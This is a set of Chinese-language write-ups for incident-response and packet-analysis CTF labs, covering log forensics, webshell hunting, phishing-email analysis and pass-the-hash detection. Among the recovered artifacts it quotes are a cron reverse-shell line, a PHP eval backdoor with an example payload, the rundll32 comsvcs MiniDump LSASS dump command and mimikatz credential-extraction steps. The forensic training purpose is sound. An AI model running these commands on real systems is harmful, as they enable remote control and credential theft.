4.黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交;
事件ID100通常用于记录应用程序的启动信息,筛选发现还是很多,再过滤关键字:starting as process
并且问的是最后一次,这里找到的是1052
但是答案是这个的上一个8820,看了好几篇博客也没解释
flag{8820}
5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交。
事件ID1074,由用户、进程或系统管理员启动的系统重启、关闭或注销事件
九个,但是找的是更改后的用户的重启,也就是Adnimistartro
flag{3}
第九章-Where-1S-tHe-Hacker
服务器场景操作系统 Windows
服务器账号密码 admin Aa123456
题目来源公众号 划水但不摆烂
https://mp.weixin.qq.com/s/4UoIw-On-0taB8s0xtjkAw
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/4UoIw-On-0taB8s0xtjkAw
通过本地 PC RDP到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交;
桌面有小皮,打开看日志文件
Apache有,看Apache的
access.log有一个一直在请求的ip,但是提交不对
去www目录下面查看有没有什么上传的文件
看看index.php
也是第一次见这种id了
flag{X123567X}
通过本地 PC RDP到服务器并且找到黑客在什么时间修改了网站主页,将黑客修改了网站主页的时间 作为 FLAG 提交(y-m-d-4:22:33);
网站主页文件就是index.php,查看属性的修改时间
flag{2023-11-6-4:55:13}
通过本地 PC RDP到服务器并且找到黑客第一个webshell文件名是,将第一个webshell文件名 作为FLAG 提交;
webshell文件一般就是黑客上传的,直接d盾扫描www目录
找到两个webshell文件
flag{SystemConfig.php}
通过本地 PC RDP到服务器并且找到黑客第二个webshell文件名是,将第二个webshell文件名 作为FLAG 提交;
还有一个被清理了,恢复一下
确定是后门文件
flag{syscon.php}
通过本地 PC RDP到服务器并且找到黑客第二个webshell的连接密码是,将第二个webshell的连接密码 作为FLAG 提交;
通过上一题可知连接密码是pass
flag{pass}
通过本地 PC RDP到服务器并且找到黑客新建的隐藏账户,将新建的隐藏账户名字 作为FLAG 提交;
命令:
wmic useraccount get Name
也可以来事件查看器过滤4720(用户账户被创建)
flag{admin$}
通过本地 PC RDP到服务器并且找到黑客隐藏账户创建时间是,将隐藏账户创建时间是 作为FLAG 提交(答案格式:2024/12/3 9:16:23);
根据上一题事件查看器可以知道
flag{2023/11/6 4:45:34}
通过本地 PC RDP到服务器并且找到黑客添加隐藏账户进管理员组的时间,将添加隐藏账户进管理员组的时间 作为FLAG 提交(答案格式:2024/12/3 9:16:23);
过滤4732(成员已添加到启用安全的本地组中)
flag{2023/11/6 4:46:07}
通过本地 PC RDP到服务器并且找到黑客在什么时间从文件中读取保留的密钥,将读取保留的密钥的时间 作为FLAG 提交(答案格式:2024/12/3 9:16:23);
5058(密钥文件操作相关的事件)
flag{2023/11/6 4:46:58}
通过本地 PC RDP到服务器并且找到黑客通过隐藏账户通过(PTH)哈希传递攻击登录的时间是,将(PTH)哈希传递攻击登录的时间 作为FLAG 提交;
哈希传递攻击 (Pass-the-Hash, PTH)
哈希传递攻击(PTH)是一种利用NTLM或LM哈希而非明文密码进行身份验证的网络攻击技术,属于横向移动攻击的一种。
基本原理
- 不破解哈希:攻击者不需要破解或逆向哈希值来获取明文密码
- 直接使用哈希:获取的密码哈希值可以直接用于认证过程
- 绕过密码要求:系统只验证哈希值是否匹配,而不需要知道原始密码
攻击流程
- 获取哈希:通过内存转储(如Mimikatz)、网络嗅探或其他方式获取用户密码哈希
- 传递哈希:使用这些哈希值向目标系统进行身份验证
- 权限提升:通常用于域环境中的横向移动,获取更高权限
博客原文:
在这种情况下,黑客使用隐藏账户登录系统,传递合法用户的哈希值,而不是输入密码。因为系统会接受这个哈希值进行验证,黑客就能以合法用户的身份登录并进行恶意操作。
总的来说:这种攻击方法利用了操作系统对身份验证哈希的处理机制,结合隐藏账户来进行隐蔽的系统访问和控制。它不需要知道用户的明文密码,因此特别难以检测和防御
那这种情况下我们也要找到进程“NtLmSsp”,那话又说回来了,什么是“NtLmSsp”呢?
简单来说“NtLmSsp” 是 “NT LAN Manager Security Support Provider” 的缩写,它是 Windows 操作系统中的一个进程组件,用于处理 NTLM 协议的身份验证。NTLM 是一种较老的身份验证协议,主要用于早期 Windows 版本以及在现代系统中作为后备身份验证机制。它通常在以下场景中使用:
Windows 登录: NTLM 可以用于本地或远程登录到 Windows 系统。
网络身份验证: 在访问共享资源(如文件共享、远程桌面等)时,NTLM 可以用来验证用户身份。
应用程序认证: 某些旧版或兼容性应用程序可能仍然依赖 NTLM 进行身份验证。
查找“NtLmSsp”进程是为了检测和分析使用 NTLM 协议的登录活动,特别是在调查疑似哈希传递攻击等安全事件时,通过识别与此进程相关的活动可以帮助安全人员更好地理解黑客的行为并采取相应措施。
也就是先查看登录成功的事件,4624,然后再看进程是不是NtLmSsp
flag{2023/11/6 4:47:28}
通过本地 PC RDP到服务器并且找到黑客上传的两个CobaltStrike木马文件名,将上传的两个CobaltStrike木马文件名 作为FLAG 提交(答案格式:"A.exe,B.exe");
Cobalt Strike 是一款由 HelpSystems(现归属 Fortra) 开发的 商业化渗透测试工具,主要用于 红队演练(Red Team Operations)、渗透测试(Penetration Testing)和高级威胁模拟(Advanced Threat Emulation)。它被安全研究人员、渗透测试人员和红队广泛使用,但同时也常被黑客和 APT(高级持续性威胁)组织滥用。
Cobalt Strike 的典型攻击流程
- 初始访问(Initial Access)
- 通过钓鱼邮件、漏洞利用(如 Web 漏洞、RDP 爆破)等方式获取入口。
- 部署 Beacon
- 在目标机器上植入 Beacon,建立 C2 通信。
- 权限提升(Privilege Escalation)
- 利用本地提权漏洞或窃取管理员凭据(如 Mimikatz)。
- 横向移动(Lateral Movement)
- 使用 PTH、PsExec、WMI 等方式在内部网络扩散。
- 数据窃取(Exfiltration)
- 收集敏感数据并通过加密通道回传。
- 持久化(Persistence)
- 植入后门,确保长期控制。
工具:D-Eyes
Release v1.3.0 · m-sec-org/d-eyes
flag{SystemTemp.exe,SysnomT.exe}
参考:玄机——第九章-Where-1S-tHe-Hacker wp-CSDN博客
第九章-Where-1S-tHe-Hacker-part2
服务器场景操作系统 Windows
服务器账号密码 admin Aa123456
题目来源公众号 划水但不摆烂
https://mp.weixin.qq.com/s/xkHNm7AN4BCpQIr9thIS7A
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/xkHNm7AN4BCpQIr9thIS7A
1.最早的WebShell落地时间是(时间格式统一为:2022/12/12/2:22:22);
桌面有小皮,找webshell一般就是去www目录找,用d盾扫描会快点
有很多后门文件,找到对应目录按时间排序
查看属性,得到时间
flag{2023/11/11/0:30:07}
2.黑客最早的WebShell密码是多少,将WebShell密码作为Flag值提交;
上一题同一个文件打开查看
flag{pass}
3.CobaltStrike木马被添加进计划任务的时间是
这个看了博客说如果是看计划任务的话可以用火绒剑,但是我这个去看发现没有找到什么
博客说的是原题可以直接扫描到
博客原文:
最后经过思考得出结论;
那这里既然没办法确认到底哪一个才是真正的“CobaltStrike木马”,我们也没办法,因为靶机中的“huorong.exe”木马被杀掉了,以至于我重启很多遍靶机也还是找不到,那就没办法了,但是可以确认的是,原题中我们是可以使用“火绒”直接全盘扫描“C盘”,扫出可疑木马“huorong.exe”的,那扫出来之后,我们就可以直接把它移动到我们的本机,并且使用"微步在线云沙箱"扫描一下,并且得出“huorong.exex”就是我们需要找的“CobaltStrike木马”
flag{2023/11/15/8:02:20}
4.黑客启用并添加进管理员组的用户与时间是 答案格式:Username,2022/12/12/2:22:22)
用事件查看器筛选4732
这个就是黑客的账号,或者是博客的方法,用d盾克隆检测
有一个Guest来宾账户,分析:
net user Guest
Guest账户被加入了*Administrators
(管理员)组和*Guests
(来宾)组。这是一个严重的安全隐患,因为Guest账户本应是低权限的来宾账户,将其加入管理员组意味着黑客可以利用它执行管理员权限的操作。这一点非常不正常,通常应立即引起警觉。
flag{Guest,2023/11/11/0:45:59}
5.攻击者使用弱口令登录ftp的时间是
桌面的小皮有FTP,可以到对应目录查看日志
第一部分:连接与欢迎信息
(000001) 2023/11/11 10:05:1 - (not logged in) (192.168.128.1)> Connected on port 21, sending welcome message...
(000001) 2023/11/11 10:05:1 - (not logged in) (192.168.128.1)> 220 FileZilla Server 0.9.60 beta... Please visit http://sourceforge.
(000001) 2023/11/11 10:05:1 - (not logged in) (192.168.128.1)> disconnected.
(000001)
: 这是本次连接的会话ID。服务器为每个新连接分配一个唯一ID。(not logged in)
: 当前状态是“未登录”。- 客户端
192.168.128.1
连接到服务器的 21 端口 (FTP 控制端口)。 - 服务器发送了 220 欢迎消息,其中包含服务器版本和横幅信息。
- 客户端没有任何后续操作就断开了连接。这可能是一次端口扫描或连接测试。
第二部分:失败的匿名登录尝试
(000002) 2023/11/11 10:05:4 - ...> Connected on port 21, sending welcome message...
(000002) 2023/11/11 10:05:5 - ...> 220 ... (Welcome message again)
(000002) 2023/11/11 10:05:6 - ...> USER anonymous
(000002) 2023/11/11 10:05:7 - ...> 331 Password required for anonymous
(000002) 2023/11/11 10:05:8 - ...> PASS
(000002) 2023/11/11 10:05:9 - ...> 530 Login or password incorrect!
- 同一个IP (
192.168.128.1
) 建立了第二次连接 (会话ID000002
)。 - 客户端尝试使用
USER anonymous
命令以“匿名用户”身份登录。 - 服务器回复 331,表示“需要匿名用户的密码”。(通常匿名登录的密码是邮箱地址,但也可以为空)。
- 客户端发送了
PASS
命令,但后面是空的(没有提供密码)。 - 服务器因此回复 530,表示“登录或密码错误”,登录失败。
第三部分:成功的登录与文件列表操作
(000003) 2023/11/11 10:05:10 - ...> Connected on port 21, sending welcome message... (Third connection)
(000003) 2023/11/11 10:05:12 - ...> USER ftp
(000003) 2023/11/11 10:05:13 - ...> 331 Password required for ftp
(000003) 2023/11/11 10:05:14 - ...> PASS *****
(000003) 2023/11/11 10:05:15 - ...> 230 Logged on
- 客户端建立了第三次连接 (会话ID
000003
)。 - 这次尝试使用用户名
ftp
登录 (USER ftp
)。 - 服务器回复 331,要求输入该用户的密码。
- 客户端发送了
PASS
命令,后面跟着密码(日志中用*****
隐藏了)。 - 服务器验证通过,回复 230,表示“登录成功”。此刻用户身份从
(not logged in)
变为(ftp)
。
登录后的一系列操作(客户端查询服务器支持的功能):
(000003) 2023/11/11 10:05:16 - ...> FEAT
(000003) 2023/11/11 10:05:17 - ...> 211 Features: ... MLSD UTF8 CLNT ... (Server lists its supported commands)
FEAT
: 客户端询问服务器支持哪些扩展功能。211
: 服务器回复并列出了它支持的命令(如MLSD
for 目录列表,UTF8
for 编码等)。
设置传输参数和获取文件列表:
(000003) 2023/11/11 10:05:29 - ...> TYPE I
(000003) 2023/11/11 10:05:30 - ...> 200 Type set to I
(000003) 2023/11/11 10:05:33 - ...> EPSV
(000003) 2023/11/11 10:05:34 - ...> 229 Entering Extended Passive Mode ([||3509])
(000003) 2023/11/11 10:05:35 - ...> MLSD
(000003) 2023/11/11 10:05:36 - ...> 150 Opening data channel for directory listing of "/"
(000003) 2023/11/11 10:05:37 - ...> 226 Successfully transferred "/"
TYPE I
: 将传输模式设置为“二进制”(I
代表 Image),适用于传输文件。EPSV
: 进入“扩展被动模式”。这是FTP建立数据连接(用于传输文件或列表)的一种方式。229
: 服务器告诉客户端“已进入扩展被动模式”,并在哪个端口(3509
)上监听数据连接。MLSD
: 客户端请求以机器可读的格式列出服务器根目录/
的文件列表。150
: 服务器回复“正在打开数据通道”,准备发送数据。226
: 服务器通知客户端“目录列表已成功传输”。
(000003) 2023/11/11 10:05:38 - ...> disconnected.
- 操作完成后,客户端主动断开连接。
这里其实用的就是弱口令123456,也可以在靶机尝试连接(忘记截图了)
ftp 127.0.0.1
flag{2023/11/11/1:08:54}
6.攻击者使用弱口令登录web管理员的时间是
去小皮查看apache日志
前面很多都是一秒内发出很多的POST请求,可以知道那就是暴力破解,在后面接了一个成功的GET请求,可以打开小皮之后访问一下
http://localhost/index.php?mod=mobile&act=public&do=index&beid=1
这个就是黑客暴力破解的登陆界面s
flag{2023/11/15/7:38:31}
参考:玄机——第九章-Where-1S-tHe-Hacker-part2 wp-CSDN博客
流量包分析
第六章 流量特征分析-小王公司收到的钓鱼邮件
服务器场景操作系统 None
服务器账号密码 None None
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王在 WAF 上发现了一段恶意流量,请分析流量且提交对应 FLAG
下载数据包文件 hacker1.pacapng,分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么将该 URL作为 FLAG 提交 FLAG(形式:flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx}) (无需 http、https);
协议分级
有http一般都是先看http的,选中之后开始追踪流
发现了压缩包,可知URL是
tsdandassociates.co.sz/w0ks//?YO=1702920835
flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}
下载数据包文件 hacker1.pacapng,分析获取到的 zip 压缩包的 MD5 是什么 作为 FLAG 提交 FLAG(形式:flag{md5});
上一题一样的地方,用原始数据显示之后保存为十六进制
保存之后计算MD5
flag{f17dc5b1c30c512137e62993d1df9b2f}
下载数据包文件 hacker1.pacapng,分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序, 该域名是什么?提交答案:flag{域名}(无需 http、https)
我们打开压缩包
打开js文件
原始代码包含大量无关注释(拉丁文干扰文),我们看后面的
就是这个o457607380
o457607380+='h'
o457607380+='t'
o457607380+='t'
o457607380+='p'
......
从代码来看,o457607380
变量被用来存储字符串,这些字符串通过逐步追加的方式构建。
具体用途可以是任何需要动态构建字符串的场景,比如生成特定的标识符、构建 URL 或路径等。
使用大量的注释和无关的文字是一种常见的代码混淆技术,目的是使恶意行为不那么显而易见。
这类混淆技术常用于恶意软件中,以绕过简单的静态分析工具和提高分析难度。
全部提取出来就是
o457607380+='h';
o457607380+='t';
o457607380+='t';
o457607380+='p';
o457607380+='s';
o457607380+=':';
o457607380+='/';
o457607380+='/';
o457607380+='s';
o457607380+='h';
o457607380+='a';
o457607380+='k';
o457607380+='y';
o457607380+='a';
o457607380+='s';
o457607380+='t';
o457607380+='a';
o457607380+='t';
o457607380+='u';
o457607380+='e';
o457607380+='s';
o457607380+='t';
o457607380+='r';
o457607380+='a';
o457607380+='d';
o457607380+='e';
o457607380+='.';
o457607380+='c';
o457607380+='o';
o457607380+='m';
o457607380+='/';
o457607380+='I';
o457607380+='h';
o457607380+='A';
o457607380+='6';
o457607380+='F';
o457607380+='/';
o457607380+='6';
o457607380+='1';
o457607380+='6';
o457607380+='2';
o457607380+='3';
o457607380+='1';
o457607380+='6';
o457607380+='0';
o457607380+='3';
https://shakyastatuestrade.com/IhA6F/616231603
注意不需要http
flag{shakyastatuestrade.com}
第六章 流量特征分析-常见攻击事件 tomcat
在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag
协议分级
选中http
会话统计
看包的大小和持续时间等可以知道攻击者ip是14.0.0.120
flag{14.0.0.120}
找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag
统计->端点
没有显示
直接去搜吧
广州
flag{guangzhou}
哪一个端口提供对web服务器管理面板的访问? flag格式:flag
我们过滤攻击者ip
http&&ip.addr==14.0.0.120
统计->会话
主机ip是8080,提供web服务
flag{8080}
经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag
上一题也可以过滤web相关的流量和关键字
http.request.uri contains "admin"
追踪流
可以发现工具是gobuster
flag{gobuster}
攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag
登录那么我们就过滤POST请求
http.request.method=="POST"&&ip.addr==14.0.0.120
只有一个
Authorization: Basic是http中的基本认证,后面接着的是经过了base64加密之后的用户名和密码
解码得到:
flag{admin-tomcat}
攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag
上一题一样的地方
flag{JXQOZY.war}
攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息
上一题的下一个流就是目录执行
whoami
→ 确认当前用户是root
(最高权限)。cd /tmp
→ 进入/tmp
目录(临时目录,通常可写)。pwd
→ 确认当前目录是/tmp
。echo "\* \* \* \* \* /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron
- 创建一个
cron
文件,内容是一个 每分钟执行一次的反向 Shell。 - 它会尝试连接到
14.0.0.120:443
,并提供一个交互式 Shell。
- 创建一个
crontab -i cron
- 将
cron
文件加载为当前用户的计划任务(-i
可能是--install
或类似选项,标准crontab
命令应直接crontab cron
)。
- 将
crontab -l
- 列出当前用户的计划任务,确认是否成功写入。
flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}
第六章 流量特征分析-waf 上的截获的黑客攻击流量
应急响应工程师小徐在 waf 上下载了一段黑客的攻击流量,请你分析黑客的攻击流量,并且找到对应的关键信息提供给应急小组协助修复漏洞
1.黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}
2.黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
3.黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx}
链接: https://pan.baidu.com/s/1bGiWgzeP6ddaaptGel-npw?pwd=cv7f 提取码: cv7f
--来自百度网盘超级会员v6的分享
1.黑客成功登录系统的密码 flag
协议分级选中http,找登陆密码加上过滤POST
http.request.method=="POST"
有很多login界面的,应该是爆破,直接按大小从最大的开始找,在754大小的找到了
我们可以点这个进行追踪流查看返回
可以看到是302,302 重定向 表示登录成功,服务器返回跳转(通常是后台首页 /admin/index.php
)。
flag{admin!@#pass123}
2.黑客发现的关键字符串 flag
后续就是连接再攻击了,shell应该就是a.php
找了很久没发现什么,去看其他人的博客也大差不差的就是硬找,过滤了login
flag{87b7cb79481f317bde90c116cf36084b}
3.黑客找到的数据库密码 flag
这个就是找关键字,dbpass
,dbuser
,password
等
博客原文:
常见配置文件变量名称:
在许多应用程序的配置文件中,数据库用户名和密码通常被定义为变量,如“dbuser”和“dbpass”。这些变量名是常见的约定,很多开发者在代码中使用这些命名。
快速定位敏感信息:
使用“dbuser”和“dbpass”作为关键词,可以快速缩小搜索范围,直接定位到包含数据库连接信息的配置文件或代码片段。这些文件通常包含敏感信息,是黑客重点关注的目标。
flag{e667jUPvJjXHvEUv}
参考:玄机——第六章 流量特征分析-waf 上的截获的黑客攻击流量 wp-CSDN博客
第六章 流量特征分析-蚂蚁爱上树
总结:蚁剑流量;rundll32.exe;mimikatz
管理员Admin账号的密码是什么?
协议分级选中http
过滤POST请求并且按大小排序,先看最大的product2
显示分组字节进行解码查看
一个个找吧,在4146大小的包里面找到了(还好是从大的开始找的
cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]7
- 切换到
C:\phpStudy\PHPTutorial\WWW\onlineshop
目录。 - 创建一个名为
admin
、密码为Password1
的新用户。 - 输出
[S]
和当前目录路径,再输出[E]
。 - 最后的
7
是无效命令。
flag{Password1}
LSASS.exe的程序进程ID是多少?
博客原文
rundll32.exe 是一个 Windows 系统进程,允许用户调用 Windows DLL 文件中的函数。这通常用于执行系统功能或脚本任务。rundll32.exe 被用来调用 comsvcs.dll 中的 MiniDump 函数,生成一个包含系统账户和密码信息的 lsass.dmp 文件。
LSASS.exe 是 Windows 操作系统中负责管理本地安全策略、用户认证和访问控制的关键系统进程。由于其在系统安全中的重要性,LSASS.exe 常常成为攻击者的目标。通过适当的监控、访问控制和安全工具,管理员可以有效地检测和防止对 LSASS 进程的恶意攻击。
详细分析
Rundll32.exe
rundll32.exe 是 Windows 操作系统中的一个实用程序,允许用户通过命令行运行基于 DLL 的函数。攻击者可以利用这个合法的系统工具来执行恶意操作,例如调用特定 DLL 文件中的函数来执行恶意代码。
comsvcs.dll 和 MiniDump 函数
comsvcs.dll 是 Windows 系统中的一个 DLL 文件,包含与 COM+ 服务相关的功能。这个 DLL 文件中的 MiniDump 函数可以用来创建内存转储文件(memory dump),这些文件包含了系统内存的快照,可能包括敏感信息,如用户凭证。
攻击流程
调用 rundll32.exe 攻击者使用 rundll32.exe 来调用 comsvcs.dll 中的 MiniDump 函数。命令格式如下:
rundll32.exe comsvcs.dll, MiniDump <PID> <DUMP_FILE_PATH> full
<PID> 是目标进程的进程 ID,例如 LSASS 的进程 ID。
<DUMP_FILE_PATH> 是要生成的转储文件路径,例如 C:\Windows\Temp\lsass.dmp。
生成 lsass.dmp 文件 这个命令会生成一个包含 LSASS 进程内存内容的转储文件,通常命名为 lsass.dmp。LSASS 进程管理着系统的用户凭证,因此这个转储文件可能包含敏感信息,如密码哈希。
使用 Mimikatz 读取凭证 攻击者随后使用 Mimikatz 等工具来读取和提取转储文件中的凭证。Mimikatz 是一个广泛使用的安全工具,可以从内存转储文件中提取密码、哈希和其他敏感信息。(这是为啥之前备一个的原因)
回到流量包,继续解码分析,4172
cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
1. cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"
- 功能:切换到指定目录。
- 详细说明:
cd
是 Change Directory(切换目录)的命令。/d
参数表示 同时切换驱动器(如从D:
切换到C:
)。"C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"
是目标路径(\\
是转义后的\
,实际路径为C:\phpStudy\PHPTutorial\WWW\onlineshop
)。
2. rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full
- 功能:使用
rundll32.exe
调用comsvcs.dll
的MiniDump
功能,生成进程的内存转储(dump)文件。 - 详细说明:
rundll32.exe
是 Windows 系统工具,用于运行 DLL 文件中的函数。comsvcs.dll
是 Windows 系统 DLL,包含 进程转储(minidump) 相关功能。MiniDump
是comsvcs.dll
提供的函数,用于创建 进程内存快照(通常用于调试或取证)。852
是目标 进程 ID(PID),表示要转储的进程(需替换为实际 PID)。C:\Temp\OnlineShopBackup.zip
是转储文件的输出路径(.zip
格式可能是伪装)。full
表示 完整转储(包含进程的所有内存数据)。
flag{852}
用户WIN101的密码是什么?
根据上一题的分析,这一题找密码就是需要mimikatz
博客原文:
在之前的解码当中会发现有一个OnlineShopBackup.zip,它已经被文件product2.php包裹在里面了,所以其实我们只需要正常导出文件product2.php即可,很多product2.php文件,那到底那一个才是真正的product2.php呢?(dmp文件)
dmp文件特点;
转储文件(dump file)的大小可以变化很大,取决于生成的转储文件类型以及系统的配置。转储文件主要有两种类型:小型转储文件(minidump)和完整内存转储文件(full dump)。这两种文件在大小和包含的信息上有很大的不同。
小型转储文件(Minidump)
大小:通常比较小,几百KB到几MB。
特点:
包含进程崩溃时的基本信息,如线程、调用堆栈、部分内存数据和加载的模块。
适用于快速调试和分析崩溃原因。
生成速度快,占用存储空间小。
所以基本就是KB或者MB,再者就是dmp文件头部我们已经知道,所以直接按大小排序一波,然后直接锁定最底下三个,依次进行排查;
一个个看会发现就是最下面那个
多余的删掉
mimikatz进行分析
privilege::debug
提升 Mimikatz 的权限,使其能够访问某些受保护的进程和内存区域。
sekurlsa::minidump 文件名
告诉 Mimikatz 加载一个特定的内存转储文件
sekurlsa::logonpasswords full
用于提取当前系统中所有用户的登录凭证信息,包括明文密码、密码哈希、Kerberos 票据等
NTML拿去md5解密(NT 哈希 (NTLM Hash)。这是密码的 MD4 哈希,是 NTLMv1 和 NTLMv2 验证中常用的部分)
flag{admin#123}
参考:玄机——第六章 流量特征分析-蚂蚁爱上树 wp-CSDN博客
第六章 流量特征分析-蚁剑流量分析
木马的连接密码是多少
协议分级选中http
挺少的,直接看第一个
很明显的蚁剑,连接密码是1
flag{1}
黑客执行的第一个命令是什么
也是第一个,显示字节,解码
这里最开始两个字符没有包含在编码里面,主要是混淆,避免被防火墙或者其他拦截系统拦截
命令cd和id
这里看起来第一个命令确实是cd "/var/www/html",但是id是命令的执行,因为id能当前用户和组的身份信息,这是攻击者或管理员非常关心的内容,而cd只是换了个工作目录,算是一个强调问题
flag{id}
黑客读取了哪个文件的内容,提交文件绝对路径
一个个看,在第三个POST
cat查看文件
flag{/etc/passwd}
黑客上传了什么文件到服务器,提交文件名
第四个POST有个flag.txt
flag{flag.txt}
黑客上传的文件内容是什么
上一题同一个地方,十六进制解码
flag{write_flag}
黑客下载了哪个文件,提交文件绝对路径
最后一个POST
flag{/var/www/html/config.php}
钓鱼邮件
第七章 常见攻击事件分析--钓鱼邮件
请勿在本机运行恶意文件样本 请勿在本机运行恶意文件样本 请勿在本机运行恶意文件样本
小张的公司最近遭到了钓鱼邮件攻击,多名员工的终端被控制做为跳板攻击了内网系统,请对钓鱼邮件样本和内网被攻陷的系统进行溯源分析,请根据小张备份的数据样本分析
请勿在本机运行恶意文件样本 请勿在本机运行恶意文件样本 请勿在本机运行恶意文件样本!!!!!
请分析获取黑客发送钓鱼邮件时使用的IP,flag格式: flag
文件:
notepad++打开eml文件,可以看到发送者的ip
顺序 | Received 行 | IP 地址 | 角色 |
---|---|---|---|
第1个 | from mail.ffcs.cn (unknown[61.154.14.126]) |
61.154.14.126 |
接收服务器(RichMail) |
第2个 | from 127.0.0.1 by mail.ffcs.cn |
127.0.0.1 |
内部转发(可能是邮件扫描服务器) |
第3个 | from unknown (HELO localhost) (ffnic@[127.0.0.1]) |
127.0.0.1 |
邮件服务器内部处理 |
第4个 | X-Mailer: MagicMail WebMail (from: 121.204.224.15) |
121.204.224.15 |
实际发件人 IP |
flag{121.204.224.15}
请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP,flag格式:flag
后面有一串很长的base64编码的字符串,拿去解码
是一个zip压缩包,保存打开,一个exe文件
先放着,感觉是病毒,eml文件拿去云沙箱检测
果然是木马
ip是107.16.111.57
flag{107.16.111.57}
黑客在被控服务器上创建了webshell,请分析获取webshell的文件名,请使用完整文件格式,flag格式:flag
D盾扫描文件目录
找到后门文件ReData.php,查看
if (isset($_POST['3q89xozo'])) {
die(eval($_POST['3q89xozo']));
}
require('../../data/common.inc.php');
$cuserLogin = new userLogin();
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);//构造session安全码
恶意后门部分
if (isset($_POST['3q89xozo'])) {
die(eval($_POST['3q89xozo']));
}
-
作用:
- 检查是否存在
POST
参数3q89xozo
(一个随机命名的隐藏参数,用于规避检测)。 - 如果存在,则 直接执行该参数中的 PHP 代码(通过
eval()
函数)。 die()
确保执行后立即终止脚本,防止后续代码干扰。
- 检查是否存在
-
危害:
-
攻击者可以通过
POST
请求发送任意 PHP 代码,如:POST /vulnerable.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded 3q89xozo=system('whoami');
-
服务器会执行
whoami
并返回结果,相当于 完全控制服务器。
-
伪装部分
require('../../data/common.inc.php');
$cuserLogin = new userLogin();
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);//构造session安全码
- 作用:
- 加载一个看似正常的配置文件(
common.inc.php
)。 - 初始化一个
userLogin
类(可能是伪装成合法登录逻辑)。 - 生成一个
md5
哈希值($hashstr
),可能是为了伪造 Session 或认证。
- 加载一个看似正常的配置文件(
- 目的:
- 让代码看起来像正常业务逻辑,避免被管理员或安全工具发现。
flag{/var/www/html/admin/ebak/ReData.php}
flag4: 黑客在被控服务器上创建了内网代理隐蔽通信隧道,请分析获取该隧道程序的文件名,请使用完整文件路径,flag格式:flag
这个看博客直接写的文件,应该是需要一个个找的,路径是/var/tmp/proc下的my.conf文件
攻击者修改my.conf
文件 进行了socks5
代理
这段配置是 内网穿透/反向代理工具(如 frp
、nps
或类似工具)的客户端配置文件,用于将本地服务暴露到公网
- 核心参数解析
参数 | 值/示例 | 作用 |
---|---|---|
server_addr |
178.102.115.17:52329 |
连接的服务端IP和端口,客户端通过此地址与服务器通信。 |
conn_type |
tcp |
传输协议类型(TCP/UDP/KCP等),这里使用TCP保证可靠传输。 |
vkey |
6bHW7m4SMvy |
验证密钥,客户端与服务端匹配的凭证(需与服务器配置一致)。 |
auto_reconnection |
true |
自动重连,网络中断后尝试重新连接服务器。 |
max_conn |
1000 |
最大连接数限制,防止资源耗尽。 |
flow_limit |
1000 |
流量限制(单位可能是KB/MB),控制带宽使用。 |
rate_limit |
1000 |
速率限制(如1000请求/秒),防止高频请求攻击。 |
- 代理认证(注释部分)
# basic_username=11
# basic_password=3
# web_username=user
# web_password=1234
- 作用:
- 如果启用,访问代理服务(HTTP/SOCKS5)需输入用户名密码(如
basic_username:11
+basic_password:3
)。 web_username
和web_password
可能是管理面板的登录凭据(如Web UI)。
- 如果启用,访问代理服务(HTTP/SOCKS5)需输入用户名密码(如
- 当前状态:
- 已被注释(
#
),表示未启用认证,任何知道代理地址的人均可直接使用,存在安全风险!
- 已被注释(
这里交被修改的my.conf文件显示不对,需要交mysql,应该是因为问的是隧道程序
flag{/var/tmp/proc/mysql}